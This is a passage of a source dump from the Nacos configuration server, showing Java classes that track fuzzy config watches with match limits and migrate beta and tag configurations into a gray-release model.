tenant;\n        }\n    \n        public Map<String, Object> getConfigAdvanceInfo() {\n            return configAdvanceInfo;\n        }\n    \n        public Page<ConfigInfo> getResponse() {\n            return response;\n        }\n    \n        public void setResponse(Page<ConfigInfo> response) {\n            this.response = response;\n        }\n    }\n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/ConfigFuzzyWatchContextService.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.common.utils.CollectionUtils;\nimport com.alibaba.nacos.common.utils.FuzzyGroupKeyPattern;\nimport com.alibaba.nacos.config.server.configuration.ConfigCommonConfig;\nimport com.alibaba.nacos.config.server.utils.GroupKey;\nimport com.alibaba.nacos.config.server.utils.GroupKey2;\nimport com.alibaba.nacos.config.server.utils.LogUtil;\nimport com.alibaba.nacos.core.utils.GlobalExecutor;\nimport org.springframework.stereotype.Component;\n\nimport javax.annotation.PostConstruct;\nimport java.util.HashSet;\nimport java.util.Iterator;\nimport java.util.Map;\nimport java.util.Set;\nimport java.util.concurrent.ConcurrentHashMap;\n\nimport static com.alibaba.nacos.api.common.Constants.ConfigChangedType.ADD_CONFIG;\nimport static com.alibaba.nacos.api.common.Constants.ConfigChangedType.CONFIG_CHANGED;\nimport static com.alibaba.nacos.api.common.Constants.ConfigChangedType.DELETE_CONFIG;\nimport static com.alibaba.nacos.api.model.v2.ErrorCode.FUZZY_WATCH_PATTERN_OVER_LIMIT;\n\n/**\n * fuzzy watch context for config.\n *\n * @author shiyiyue\n */\n@Component\npublic class ConfigFuzzyWatchContextService {\n    \n    /**\n     * groupKeyPattern -> watched client id set.\n     */\n    private final Map<String, Set<String>> watchedClientsMap = new ConcurrentHashMap<>();\n    \n    /**\n     * groupKeyPattern -> matched groupKeys set.\n     */\n    private final Map<String, Set<String>> matchedGroupKeysMap = new ConcurrentHashMap<>();\n    \n    public ConfigFuzzyWatchContextService() {\n    }\n    \n    @PostConstruct\n    public void init() {\n        GlobalExecutor.scheduleWithFixDelayByCommon(() -> trimFuzzyWatchContext(), 30000);\n    }\n    \n    /**\n     * trim  fuzzy watch context. <br/> 1.remove watchedClients if watched client is empty. 2.remove matchedServiceKeys\n     * if watchedClients is null. pattern matchedServiceKeys will be removed in second period to avoid frequently\n     * matchedServiceKeys init.\n     */\n    void trimFuzzyWatchContext() {\n        try {\n            Iterator<Map.Entry<String, Set<String>>> iterator = matchedGroupKeysMap.entrySet().iterator();\n            while (iterator.hasNext()) {\n                Map.Entry<String, Set<String>> matchedGroupKeys = iterator.next();\n                Set<String> watchedClients = this.watchedClientsMap.get(matchedGroupKeys.getKey());\n                \n                if (watchedClients == null) {\n                    iterator.remove();\n                    LogUtil.DEFAULT_LOG.info(\n                            \"[fuzzy-watch] no watchedClients context for pattern {},remove matchedGroupKeys context\",\n                            matchedGroupKeys.getKey());\n                } else if (watchedClients.isEmpty()) {\n                    LogUtil.DEFAULT_LOG.info(\"[fuzzy-watch] no client watched pattern {},remove watchedClients context\",\n                            matchedGroupKeys.getKey());\n                    this.watchedClientsMap.remove(matchedGroupKeys.getKey());\n                } else if (reachToUpLimit(matchedGroupKeys.getValue().size())) {\n                    LogUtil.DEFAULT_LOG.warn(\n                            \"[fuzzy-watch] pattern {} matched config count has reached to upper limit {}, fuzzy watch has been suppressed \",\n                            matchedGroupKeys.getKey(), matchedGroupKeys.getValue().size());\n                } else if (reachToUpLimit((int) (matchedGroupKeys.getValue().size() * 1.25))) {\n                    LogUtil.DEFAULT_LOG.warn(\n                            \"[fuzzy-watch] pattern {} matched config count has reached to 80% of the upper limit {} \"\n                                    + \",it may has a risk of notify suppressed in the near further\",\n                            matchedGroupKeys.getKey(), matchedGroupKeys.getValue().size());\n                }\n            }\n        } catch (Throwable throwable) {\n            LogUtil.DEFAULT_LOG.warn(\"[fuzzy-watch] trim fuzzy watch context fail\", throwable);\n        }\n    }\n    \n    /**\n     * get matched exist group keys with the groupKeyPattern. return null if not matched.\n     *\n     * @param groupKeyPattern groupKeyPattern.\n     * @return\n     */\n    public Set<String> matchGroupKeys(String groupKeyPattern) {\n        Set<String> stringSet = matchedGroupKeysMap.get(groupKeyPattern);\n        return stringSet == null ? new HashSet<>() : new HashSet<>(matchedGroupKeysMap.get(groupKeyPattern));\n    }\n    \n    /**\n     * sync group key change to fuzzy context.\n     *\n     * @param groupKey    groupKey.\n     * @param changedType changedType.\n     * @return need notify ot not.\n     */\n    public boolean syncGroupKeyContext(String groupKey, String changedType) {\n        \n        boolean needNotify = false;\n        \n        String[] groupKeyItems = GroupKey.parseKey(groupKey);\n        String dataId = groupKeyItems[0];\n        String group = groupKeyItems[1];\n        String namespace = groupKeyItems[2];\n        boolean tryAdd = changedType.equals(ADD_CONFIG) || changedType.equals(CONFIG_CHANGED);\n        boolean tryRemove = changedType.equals(DELETE_CONFIG);\n        \n        Iterator<Map.Entry<String, Set<String>>> iterator = matchedGroupKeysMap.entrySet().iterator();\n        while (iterator.hasNext()) {\n            Map.Entry<String, Set<String>> entry = iterator.next();\n            if (FuzzyGroupKeyPattern.matchPattern(entry.getKey(), dataId, group, namespace)) {\n                boolean containsAlready = entry.getValue().contains(groupKey);\n                boolean reachToUpLimit = reachToUpLimit(entry.getValue().size());\n                if (tryAdd && !containsAlready && reachToUpLimit) {\n                    LogUtil.DEFAULT_LOG.warn(\"[fuzzy-watch] pattern matched config count is over limit , \"\n                                    + \"current config will be ignored for pattern {} ,current count is {}\", entry.getKey(),\n                            entry.getValue().size());\n                    continue;\n                }\n                \n                if (tryAdd && !containsAlready && entry.getValue().add(groupKey)) {\n                    needNotify = true;\n                }\n                if (tryRemove && containsAlready && entry.getValue().remove(groupKey)) {\n                    needNotify = true;\n                    if (reachToUpLimit) {\n                        makeupMatchedGroupKeys(entry.getKey());\n                    }\n                }\n            }\n        }\n        return needNotify;\n    }\n    \n    /**\n     * make matched group key when deleted configs on loa protection model.\n     *\n     * @param groupKeyPattern group key pattern.\n     */\n    public void makeupMatchedGroupKeys(String groupKeyPattern) {\n        \n        Set<String> matchedGroupKeys = matchedGroupKeysMap.get(groupKeyPattern);\n        if (matchedGroupKeys == null || reachToUpLimit(matchedGroupKeys.size())) {\n            return;\n        }\n        \n        for (String groupKey : ConfigCacheService.CACHE.keySet()) {\n            String[] groupKeyItems = GroupKey.parseKey(groupKey);\n            if (FuzzyGroupKeyPattern.matchPattern(groupKeyPattern, groupKeyItems[0], groupKeyItems[1], groupKeyItems[2])\n                    && !matchedGroupKeys.contains(groupKey)) {\n                matchedGroupKeys.add(groupKey);\n                LogUtil.DEFAULT_LOG.info(\"[fuzzy-watch] pattern {} makeup group key {}\", groupKeyPattern, groupKey);\n                if (reachToUpLimit(matchedGroupKeys.size())) {\n                    LogUtil.DEFAULT_LOG.warn(\n                            \"[fuzzy-watch] pattern {] matched config count is over limit ,makeup group keys skip.\",\n                            groupKeyPattern);\n                    return;\n                }\n            }\n        }\n    }\n    \n    private boolean reachToUpLimit(int size) {\n        return size >= ConfigCommonConfig.getInstance().getMaxMatchedConfigCount();\n    }\n    \n    public boolean reachToUpLimit(String groupKeyPattern) {\n        Set<String> strings = matchedGroupKeysMap.get(groupKeyPattern);\n        return strings != null && (reachToUpLimit(strings.size()));\n    }\n    \n    /**\n     * Matches the client effective group keys based on the specified group key pattern, client IP, and tag.\n     *\n     * @param groupKeyPattern The pattern to match group keys.\n     */\n    private void initMatchGroupKeys(String groupKeyPattern) throws NacosException {\n        if (matchedGroupKeysMap.containsKey(groupKeyPattern)) {\n            return;\n        }\n        \n        if (matchedGroupKeysMap.size() >= ConfigCommonConfig.getInstance().getMaxPatternCount()) {\n            LogUtil.DEFAULT_LOG.warn(\n                    \"[fuzzy-watch] pattern count is over limit ,pattern {} init fail,current count is {}\",\n                    groupKeyPattern, matchedGroupKeysMap.size());\n            throw new NacosException(FUZZY_WATCH_PATTERN_OVER_LIMIT.getCode(), FUZZY_WATCH_PATTERN_OVER_LIMIT.getMsg());\n        }\n        \n        matchedGroupKeysMap.computeIfAbsent(groupKeyPattern, k -> new HashSet<>());\n        Set<String> matchedGroupKeys = this.matchedGroupKeysMap.get(groupKeyPattern);\n        long matchBeginTime = System.currentTimeMillis();\n        boolean overMatchCount = false;\n        for (String groupKey : ConfigCacheService.CACHE.keySet()) {\n            String[] groupKeyItems = GroupKey.parseKey(groupKey);\n            if (FuzzyGroupKeyPattern.matchPattern(groupKeyPattern, groupKeyItems[0], groupKeyItems[1],\n                    groupKeyItems[2])) {\n                \n                if (reachToUpLimit(matchedGroupKeys.size())) {\n                    LogUtil.DEFAULT_LOG.warn(\"[fuzzy-watch]   pattern matched service count is over limit , \"\n                                    + \"other services will stop notify for pattern {} ,current count is {}\", groupKeyPattern,\n                            matchedGroupKeys.size());\n                    overMatchCount = true;\n                    break;\n                }\n                matchedGroupKeys.add(groupKey);\n            }\n        }\n        LogUtil.DEFAULT_LOG.info(\"[fuzzy-watch]  pattern {} match {} group keys,overMatchCount={}, cost {}ms\",\n                groupKeyPattern, matchedGroupKeys.size(), overMatchCount, System.currentTimeMillis() - matchBeginTime);\n        \n    }\n    \n    /**\n     * Adds a fuzzy listen connection ID associated with the specified group key pattern. If the key pattern does not\n     * exist in the context, a new entry will be created. If the key pattern already exists, the connection ID will be\n     * added to the existing set.\n     *\n     * @param groupKeyPattern The group key pattern to associate with the listen connection.\n     * @param connectId       The connection ID to be added.\n     * @throws NacosException over max pattern count.\n     */\n    public synchronized void addFuzzyWatch(String groupKeyPattern, String connectId) throws NacosException {\n        watchedClientsMap.computeIfAbsent(groupKeyPattern, k -> new HashSet<>());\n        initMatchGroupKeys(groupKeyPattern);\n        // Add the connection ID to the set associated with the key pattern in keyPatternContext\n        watchedClientsMap.get(groupKeyPattern).add(connectId);\n    }\n    \n    /**\n     * Removes a fuzzy listen connection ID associated with the specified group key pattern. If the group key pattern\n     * exists in the context and the connection ID is found in the associated set, the connection ID will be removed\n     * from the set. If the set becomes empty after removal, the entry for the group key pattern will be removed from\n     * the context.\n     *\n     * @param groupKeyPattern The group key pattern associated with the listen connection to be removed.\n     * @param connectionId    The connection ID to be removed.\n     */\n    public synchronized void removeFuzzyListen(String groupKeyPattern, String connectionId) {\n        // Retrieve the set of connection IDs associated with the group key pattern\n        Set<String> connectIds = watchedClientsMap.get(groupKeyPattern);\n        if (CollectionUtils.isNotEmpty(connectIds)) {\n            // Remove the connection ID from the set if it exists\n            connectIds.remove(connectionId);\n        }\n    }\n    \n    /**\n     * remove watch context for connection id.\n     *\n     * @param connectionId connection id.\n     */\n    public void clearFuzzyWatchContext(String connectionId) {\n        for (Map.Entry<String, Set<String>> keyPatternContextEntry : watchedClientsMap.entrySet()) {\n            Set<String> connectionIds = keyPatternContextEntry.getValue();\n            if (CollectionUtils.isNotEmpty(connectionIds)) {\n                connectionIds.remove(connectionId);\n            }\n        }\n    }\n    \n    /**\n     * Retrieves the set of connection IDs matched with the specified group key.\n     *\n     * @param groupKey The group key to match with the key patterns.\n     * @return The set of connection IDs matched with the group key.\n     */\n    public Set<String> getMatchedClients(String groupKey) {\n        // Initialize a set to store the matched connection IDs\n        Set<String> connectIds = new HashSet<>();\n        // Iterate over each key pattern in the context\n        Iterator<Map.Entry<String, Set<String>>> watchClientIterator = watchedClientsMap.entrySet().iterator();\n        \n        String[] groupItems = GroupKey2.parseKey(groupKey);\n        \n        while (watchClientIterator.hasNext()) {\n            Map.Entry<String, Set<String>> watchClientEntry = watchClientIterator.next();\n            \n            String keyPattern = watchClientEntry.getKey();\n            if (FuzzyGroupKeyPattern.matchPattern(keyPattern, groupItems[0], groupItems[1], groupItems[2])) {\n                if (CollectionUtils.isNotEmpty(watchClientEntry.getValue())) {\n                    connectIds.addAll(watchClientEntry.getValue());\n                }\n            }\n        }\n        return connectIds;\n    }\n    \n}\n"
  },
  {
    "path": "config/src/main/java/com/alibaba/nacos/config/server/service/ConfigMigrateService.java",
    "content": "/*\n * Copyright 1999-2018 Alibaba Group Holding Ltd.\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\npackage com.alibaba.nacos.config.server.service;\n\nimport com.alibaba.nacos.api.exception.NacosException;\nimport com.alibaba.nacos.api.exception.api.NacosApiException;\nimport com.alibaba.nacos.api.model.Page;\nimport com.alibaba.nacos.api.model.v2.ErrorCode;\nimport com.alibaba.nacos.api.utils.NetUtils;\nimport com.alibaba.nacos.common.utils.MapUtil;\nimport com.alibaba.nacos.common.utils.StringUtils;\nimport com.alibaba.nacos.common.utils.ThreadUtils;\nimport com.alibaba.nacos.config.server.configuration.ConfigCompatibleConfig;\nimport com.alibaba.nacos.config.server.exception.ConfigAlreadyExistsException;\nimport com.alibaba.nacos.config.server.model.ConfigAllInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfo;\nimport com.alibaba.nacos.config.server.model.ConfigInfoBetaWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigInfoGrayWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigInfoStateWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigInfoTagWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigInfoWrapper;\nimport com.alibaba.nacos.config.server.model.ConfigOperateResult;\nimport com.alibaba.nacos.config.server.model.ConfigRequestInfo;\nimport com.alibaba.nacos.config.server.model.form.ConfigForm;\nimport com.alibaba.nacos.config.server.model.gray.BetaGrayRule;\nimport com.alibaba.nacos.config.server.model.gray.ConfigGrayPersistInfo;\nimport com.alibaba.nacos.config.server.model.gray.GrayRule;\nimport com.alibaba.nacos.config.server.model.gray.GrayRuleManager;\nimport com.alibaba.nacos.config.server.model.gray.TagGrayRule;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoBetaPersistService;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoGrayPersistService;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoPersistService;\nimport com.alibaba.nacos.config.server.service.repository.ConfigInfoTagPersistService;\nimport com.alibaba.nacos.config.server.service.repository.ConfigMigratePersistService;\nimport com.alibaba.nacos.config.server.utils.ParamUtils;\nimport com.alibaba.nacos.config.server.utils.PropertyUtil;\nimport com.alibaba.nacos.core.namespace.repository.NamespacePersistService;\nimport com.alibaba.nacos.sys.env.EnvUtil;\nimport org.slf4j.Logger;\nimport org.slf4j.LoggerFactory;\nimport org.springframework.dao.DataIntegrityViolationException;\nimport org.springframework.http.HttpStatus;\nimport org.springframework.stereotype.Service;\n\nimport javax.annotation.PostConstruct;\nimport java.util.ArrayList;\nimport java.util.HashMap;\nimport java.util.List;\nimport java.util.Map;\nimport java.util.concurrent.LinkedBlockingQueue;\nimport java.util.concurrent.ThreadPoolExecutor;\nimport java.util.concurrent.TimeUnit;\n\nimport static com.alibaba.nacos.config.server.model.gray.GrayRuleManager.SPLIT;\nimport static com.alibaba.nacos.config.server.utils.LogUtil.DEFAULT_LOG;\nimport static com.alibaba.nacos.config.server.utils.PropertyUtil.CONFIG_MIGRATE_FLAG;\nimport static com.alibaba.nacos.config.server.utils.PropertyUtil.GRAY_MIGRATE_FLAG;\n\n/**\n * migrate beta and tag to gray model. should only invoked from config sync notify.\n *\n * @author shiyiyue\n */\n@Service\npublic class ConfigMigrateService {\n    \n    private static final Logger LOGGER = LoggerFactory.getLogger(ConfigMigrateService.class);\n    \n    private static final String NAMESPACE_MIGRATE_SRC_USER = \"nacos_namespace_migrate\";\n    \n    private final String namespacePublic = \"public\";\n    \n    /**\n     * The Config info beta persist service.\n     */\n    ConfigInfoBetaPersistService configInfoBetaPersistService;\n    \n    /**\n     * The Config info tag persist service.\n     */\n    ConfigInfoTagPersistService configInfoTagPersistService;\n    \n    /**\n     * The Config info gray persist service.\n     */\n    ConfigInfoGrayPersistService configInfoGrayPersistService;\n    \n    /**\n     * The Config info persist service.\n     */\n    ConfigInfoPersistService configInfoPersistService;\n    \n    /**\n     * The Config migrate persist service.\n     */\n    ConfigMigratePersistService configMigratePersistService;\n    \n    /**\n     * The Namespace persist service.\n     */\n    NamespacePersistService namespacePersistService;\n    \n    /**\n     * The Old table version.\n     */\n    boolean oldTableVersion = false;\n    \n    /**\n     * Instantiates a new Config migrate service.\n     *\n     * @param configInfoBetaPersistService the config info beta persist service\n     * @param configInfoTagPersistService  the config info tag persist service\n     * @param configInfoGrayPersistService the config info gray persist service\n     * @param configMigratePersistService  the config migrate persist service\n     * @param namespacePersistService      the namespace persist service\n     * @param configInfoPersistService     the config info persist service\n     */\n    public ConfigMigrateService(ConfigInfoBetaPersistService configInfoBetaPersistService,\n            ConfigInfoTagPersistService configInfoTagPersistService,\n            ConfigInfoGrayPersistService configInfoGrayPersistService,\n            ConfigMigratePersistService configMigratePersistService, NamespacePersistService namespacePersistService,\n             ConfigInfoPersistService configInfoPersistService) {\n        this.configInfoBetaPersistService = configInfoBetaPersistService;\n        this.configInfoGrayPersistService = configInfoGrayPersistService;\n        this.configInfoTagPersistService = configInfoTagPersistService;\n        this.configMigratePersistService = configMigratePersistService;\n        this.namespacePersistService = namespacePersistService;\n        this.configInfoPersistService = configInfoPersistService;\n    }\n    \n    /**\n     * migrate beta&tag to gray .\n     *\n     * @throws Exception the exception\n     */\n    @PostConstruct\n    public void migrate() throws Exception {\n        oldTableVersion = namespacePersistService.isExistTable(\"config_info_beta\");\n        if (PropertyUtil.isGrayCompatibleModel() && oldTableVersion) {\n            doCheckMigrate();\n        }\n        if (ConfigCompatibleConfig.getInstance().isNamespaceCompatibleMode()) {\n            doCheckNamespaceMigrate();\n        }\n    }\n    \n    /**\n     * handler tag v1 config.\n     *\n     * @param configForm        configForm.\n     * @param configInfo        configInfo.\n     * @param configRequestInfo configRequestInfo.\n     * @throws NacosApiException NacosApiException.\n     */\n    public void persistTagv1(ConfigForm configForm, ConfigInfo configInfo, ConfigRequestInfo configRequestInfo)\n            throws NacosApiException {\n        if (!PropertyUtil.isGrayCompatibleModel() || !oldTableVersion) {\n            return;\n        }\n        \n        if (StringUtils.isNotBlank(configRequestInfo.getCasMd5())) {\n            ConfigOperateResult configOperateResult = configInfoTagPersistService.insertOrUpdateTagCas(configInfo,\n                    configForm.getTag(), configRequestInfo.getSrcIp(), configForm.getSrcUser());\n            if (!configOperateResult.isSuccess()) {\n                LOGGER.warn(\n                        \"[cas-publish-tag-config-fail] srcIp = {}, dataId= {}, casMd5 = {}, msg = server md5 may have changed.\",\n                        configRequestInfo.getSrcIp(), configForm.getDataId(), configRequestInfo.getCasMd5());\n                throw new NacosApiException(HttpStatus.INTERNAL_SERVER_ERROR.value(), ErrorCode.RESOURCE_CONFLICT,\n                        \"Cas publish tag config fail, server md5 may have changed.\");\n            }\n        } else {\n            configInfoTagPersistService.insertOrUpdateTag(configInfo, configForm.getTag(), configRequestInfo.getSrcIp(),\n                    configForm.getSrcUser());\n        }\n    }\n    \n    /**\n     * handle old beta.\n     *\n     * @param configForm        configForm.\n     * @param configInfo        configInfo.\n     * @param configRequestInfo configRequestInfo.\n     * @throws NacosApiException NacosApiException.\n     */\n    public void persistBeta(ConfigForm configForm, ConfigInfo configInfo, ConfigRequestInfo configRequestInfo)\n            throws NacosApiException {\n        if (!PropertyUtil.isGrayCompatibleModel() || !oldTableVersion) {\n            return;\n        }\n        ConfigOperateResult configOperateResult = null;\n        // beta publish\n        if (StringUtils.isNotBlank(configRequestInfo.getCasMd5())) {\n            configOperateResult = configInfoBetaPersistService.insertOrUpdateBetaCas(configInfo,\n                    configRequestInfo.getBetaIps(), configRequestInfo.getSrcIp(), configForm.getSrcUser());\n            if (!configOperateResult.isSuccess()) {\n                LOGGER.warn(\n                        \"[cas-publish-beta-config-fail] srcIp = {}, dataId= {}, casMd5 = {}, msg = server md5 may have changed.\",\n                        configRequestInfo.getSrcIp(), configForm.getDataId(), configRequestInfo.getCasMd5());\n                throw new NacosApiException(HttpStatus.INTERNAL_SERVER_ERROR.value(), ErrorCode.RESOURCE_CONFLICT,\n                        \"Cas publish beta config fail, server md5 may have changed.\");\n            }\n        } else {\n            configInfoBetaPersistService.insertOrUpdateBeta(configInfo, configRequestInfo.getBetaIps(),\n                    configRequestInfo.getSrcIp(), configForm.getSrcUser());\n        }\n    }\n    \n    /**\n     * delete beta and tag.\n     *\n     * @param dataId      dataId.\n     * @param group       group.\n     * @param namespaceId namespaceId.\n     * @param grayName    grayName.\n     * @param clientIp    clientIp.\n     * @param srcUser     srcUser.\n     */\n    public void deleteConfigGrayV1(String dataId, String group, String namespaceId, String grayName, String clientIp,\n            String srcUser) {\n        if (!PropertyUtil.isGrayCompatibleModel() || !oldTableVersion) {\n            return;\n        }\n        if (BetaGrayRule.TYPE_BETA.equals(grayName)) {\n            configInfoBetaPersistService.removeConfigInfo4Beta(dataId, group, namespaceId);\n        } else if (grayName.startsWith(TagGrayRule.TYPE_TAG + SPLIT)) {\n            configInfoTagPersistService.removeConfigInfoTag(dataId, group, namespaceId, grayName.substring(4), clientIp,\n                    srcUser);\n        }\n        \n    }\n    \n    /**\n     * migrate single config beta.\n     *\n     * @param dataId dataId.\n     * @param group  group.\n     * @param tenant tenant.\n     */\n    public void checkMigrateBeta(String dataId, String group, String tenant) {\n        ConfigInfoBetaWrapper configInfo4Beta = configInfoBetaPersistService.findConfigInfo4Beta(dataId, group, tenant);\n        if (configInfo4Beta == null) {\n            ConfigInfoGrayWrapper configInfoGrayWrapper = configInfoGrayPersistService.findConfigInfo4Gray(dataId,\n                    group, tenant, BetaGrayRule.TYPE_BETA);\n            if (configInfoGrayWrapper == null) {\n                return;\n            }\n            configInfoGrayPersistService.removeConfigInfoGray(dataId, group, tenant, BetaGrayRule.TYPE_BETA,\n                    NetUtils.localIp(), \"nacos_auto_migrate\");\n            return;\n        }\n        ConfigInfoGrayWrapper configInfo4Gray = configInfoGrayPersistService.findConfigInfo4Gray(dataId, group, tenant,\n                BetaGrayRule.TYPE_BETA);\n        if (configInfo4Gray == null || configInfo4Gray.getLastModified() < configInfo4Beta.getLastModified()) {\n            DEFAULT_LOG.info(\"[migrate beta to gray] dataId={}, group={}, tenant={},  md5={}\",\n                    configInfo4Beta.getDataId(), configInfo4Beta.getGroup(), configInfo4Beta.getTenant(),\n                    configInfo4Beta.getMd5());\n            ConfigGrayPersistInfo localConfigGrayPersistInfo = new ConfigGrayPersistInfo(BetaGrayRule.TYPE_BETA,\n                    BetaGrayRule.VERSION, configInfo4Beta.getBetaIps(), BetaGrayRule.PRIORITY);\n            configInfoGrayPersistService.insertOrUpdateGray(configInfo4Beta, BetaGrayRule.TYPE_BETA,\n                    GrayRuleManager.serializeConfigGrayPersistInfo(localConfigGrayPersistInfo), NetUtils.localIp(),\n                    \"nacos_auto_migrate\");\n        }\n        \n    }\n    \n    /**\n     * migrate single config tag.\n     *\n     * @param dataId dataId.\n     * @param group  group.\n     * @param tenant tenant.\n     * @param tag    tag.\n     */\n    public void checkMigrateTag(String dataId, String group, String tenant, String tag) {\n        ConfigInfoTagWrapper configInfo4Tag = configInfoTagPersistService.findConfigInfo4Tag(dataId, group, tenant,\n                tag);\n        if (configInfo4Tag == null) {\n            ConfigInfoGrayWrapper configInfo4Gray = configInfoGrayPersistService.findConfigInfo4Gray(dataId, group,\n                    tenant, TagGrayRule.TYPE_TAG + \"_\" + tag);\n            if (configInfo4Gray == null) {\n                return;\n            }\n            configInfoGrayPersistService.removeConfigInfoGray(dataId, group, tenant, TagGrayRule.TYPE_TAG + \"_\" + tag,\n                    NetUtils.localIp(), \"nacos_auto_migrate\");\n            return;\n        }\n        ConfigInfoGrayWrapper configInfo4Gray = configInfoGrayPersistService.findConfigInfo4Gray(dataId, group, tenant,\n                TagGrayRule.TYPE_TAG + \"_\" + tag);\n        if (configInfo4Gray == null || configInfo4Gray.getLastModified() < configInfo4Tag.getLastModified()) {\n            DEFAULT_LOG.info(\"[migrate tag to gray] dataId={}, group={}, tenant={},  md5={}\",\n                    configInfo4Tag.getDataId(), configInfo4Tag.getGroup(), configInfo4Tag.getTenant(),\n                    configInfo4Tag.getMd5());\n            ConfigGrayPersistInfo localConfigGrayPersistInfo = new ConfigGrayPersistInfo(TagGrayRule.TYPE_TAG,\n                    TagGrayRule.VERSION, configInfo4Tag.getTag(), TagGrayRule.PRIORITY);\n            configInfoGrayPersistService.insertOrUpdateGray(configInfo4Tag, TagGrayRule.TYPE_TAG,\n                    GrayRuleManager.serializeConfigGrayPersistInfo(localConfigGrayPersistInfo), NetUtils.localIp(),\n                    \"nacos_auto_migrate\");\n        }\n    }\n    \n    /**\n     * Check changed config gray migrate state.\n     *\n     * @param changedConfigInfoGrayWrapper the changed config info gray wrapper\n     */\n    public void checkChangedConfigGrayMigrateState(ConfigInfoGrayWrapper changedConfigInfoGrayWrapper) {\n        String tenant = changedConfigInfoGrayWrapper.getTenant();\n        if (!ConfigCompatibleConfig.getInstance().isNamespaceCompatibleMode()) {\n            return;\n        }\n        if (!StringUtils.equals(tenant, namespacePublic) && StringUtils.isNotBlank(tenant)) {\n            return;\n        }\n        String targetTenant = StringUtils.EMPTY;\n        if (StringUtils.isBlank(tenant)) {\n            targetTenant = namespacePublic;\n        }\n        ConfigInfoGrayWrapper targetConfigInfoGrayWrapper = configInfoGrayPersistService.findConfigInfo4Gray(\n                changedConfigInfoGrayWrapper.getDataId(), changedConfigInfoGrayWrapper.getGroup(), targetTenant,\n                changedConfigInfoGrayWrapper.getGrayName());\n        try {\n            GRAY_MIGRATE_FLAG.set(true);\n            if (StringUtils.equals(changedConfigInfoGrayWrapper.getSrcUser(), NAMESPACE_MIGRATE_SRC_USER)) {\n                if (targetConfigInfoGrayWrapper == null) {\n                    configInfoGrayPersistService.removeConfigInfoGray(changedConfigInfoGrayWrapper.getDataId(),\n                            changedConfigInfoGrayWrapper.getGroup(), tenant, changedConfigInfoGrayWrapper.getGrayName(),\n                            null, NAMESPACE_MIGRATE_SRC_USER);\n                } else if (!targetConfigInfoGrayWrapper.getMd5().equals(changedConfigInfoGrayWrapper.getMd5())\n                        || !targetConfigInfoGrayWrapper.getGrayRule()\n                        .equals(changedConfigInfoGrayWrapper.getGrayRule())) {\n                    if (targetConfigInfoGrayWrapper.getLastModified() >= changedConfigInfoGrayWrapper.getLastModified()\n                            || !StringUtils.equals(targetConfigInfoGrayWrapper.getSrcUser(),\n                            NAMESPACE_MIGRATE_SRC_USER)) {\n                        targetConfigInfoGrayWrapper.setTenant(tenant);\n                        configInfoGrayPersistService.updateConfigInfo4Gray(targetConfigInfoGrayWrapper,\n                                targetConfigInfoGrayWrapper.getGrayName(), targetConfigInfoGrayWrapper.getGrayRule(),\n                                null, NAMESPACE_MIGRATE_SRC_USER);\n                    }\n                }\n            } else {\n                if (targetConfigInfoGrayWrapper == null) {\n                    changedConfigInfoGrayWrapper.setTenant(targetTenant);\n                    configInfoGrayPersistService.addConfigInfo4Gray(changedConfigInfoGrayWrapper,\n                            changedConfigInfoGrayWrapper.getGrayName(), changedConfigInfoGrayWrapper.getGrayRule(),\n                            null, NAMESPACE_MIGRATE_SRC_USER);\n                } else if (!targetConfigInfoGrayWrapper.getMd5().equals(changedConfigInfoGrayWrapper.getMd5())\n                        || !targetConfigInfoGrayWrapper.getGrayRule()\n                        .equals(changedConfigInfoGrayWrapper.getGrayRule())) {\n                    if (targetConfigInfoGrayWrapper.getLastModified() >= changedConfigInfoGrayWrapper.getLastModified()\n                            && !StringUtils.equals(targetConfigInfoGrayWrapper.getSrcUser(),\n                            NAMESPACE_MIGRATE_SRC_USER)) {\n                        targetConfigInfoGrayWrapper.setTenant(tenant);\n                        configInfoGrayPersistService.updateConfigInfo4Gray(targetConfigInfoGrayWrapper,\n                                targetConfigInfoGrayWrapper.getGrayName(), targetConfigInfoGrayWrapper.getGrayRule(),\n                                null, NAMESPACE_MIGRATE_SRC_USER);\n                    } else if (targetConfigInfoGrayWrapper.getLastModified() < changedConfigInfoGrayWrapper.getLastModified()) {\n                        changedConfigInfoGrayWrapper.setTenant(targetTenant);\n                        configInfoGrayPersistService.updateConfigInfo4Gray(changedConfigInfoGrayWrapper,\n                                changedConfigInfoGrayWrapper.getGrayName(), changedConfigInfoGrayWrapper.getGrayRule(),\n                                null, NAMESPACE_MIGRATE_SRC_USER);\n                    }\n                }\n            }\n        } finally {\n            GRAY_MIGRATE_FLAG.set(false);\n        }\n    }\n    \n    /**\n     * Check changed config migrate state.\n     *\n     * @param changedConfigInfoStateWrapper the config info state wrapper\n     */\n    public void checkChangedConfigMigrateState(ConfigInfoStateWrapper changedConfigInfoStateWrapper) {\n        String tenant = changedConfigInfoStateWrapper.getTenant();\n        if (!ConfigCompatibleConfig.getInstance().isNamespaceCompatibleMode()) {\n            return;\n        }\n        if (!StringUtils.equals(tenant, namespacePublic) && StringUtils.isNotBlank(tenant)) {\n            return;\n        }\n        String targetTenant = StringUtils.EMPTY;\n        if 